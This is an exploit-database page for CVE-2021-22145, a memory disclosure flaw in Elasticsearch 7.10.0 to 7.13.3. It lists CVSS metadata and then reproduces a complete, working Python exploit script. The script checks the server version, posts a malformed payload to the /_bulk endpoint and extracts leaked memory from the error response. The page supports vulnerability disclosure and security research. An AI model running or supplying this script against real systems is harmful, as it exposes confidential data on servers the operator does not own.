Exploitalert - Database of Exploits

ElasticSearch 7.13.3 Memory Disclosure

CVE	Category	Price	Severity
CVE-2021-22145	CWE-200	$5000	High

Author	Risk	Exploitation Type	Date
Lior Shafir	High	Remote	2021-07-23

CPE
cpe:cpe:/a:elasticsearch:elasticsearch:7.13.3

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2021070134

ElasticSearch 7.13.3 Memory Disclosure

# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure # Date: 21/07/2021 # Exploit Author: r0ny # Vendor Homepage: https://www.elastic.co/ # Software Link: https://github.com/elastic/elasticsearch # Version: 7.10.0 to 7.13.3 # Tested on: Kali Linux # CVE : CVE-2021-22145 #/usr/bin/python3 from argparse import ArgumentParser import requests from packaging import version import json from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) print("\n################################################################################################") print("###### CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3) ######") print("###### Exploit by r0ny (https://twitter.com/_r0ny) ######") print("################################################################################################\n") parser = ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service") parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="") parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="") args = parser.parse_args() if not (args.url): parser.error('Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"') #Prepare authentication header authorization_header = "" if(args.api_key or args.basic): authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic #Check elasticsearch version r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False) try: es_version = json.loads(r.content)["version"]["number"] except: print("# Couldn't connect to " + args.url + ", please verify the url or the authentication token\n") print("# Server response: " + str(r.content)) exit() if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"): print("# Elastic Service not vulnerable") print("# Elastic Service version: " + es_version) print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3") exit() #Prepare exploitation payload = "@\n" vulnerable_endpoint = "/_bulk" url = args.url + vulnerable_endpoint #Exploitation print("# ElasticSearch Version: " + es_version) print("# Request to " + url+"\n") r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False) #Read Memory Leak and remove stacktrace print("$$$$$$$$$$$$$$$$$$$$$$$$$") print("$$$$$ Memory Leaked $$$$$") print("$$$$$$$$$$$$$$$$$$$$$$$$$\n") response = json.loads(r.content) leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])\"")[1].split("; line")[0] leak2 = response["error"]["reason"].split("(byte[])\"")[1].split("; line")[0] print(leak1+"\n"+leak2)

Impressum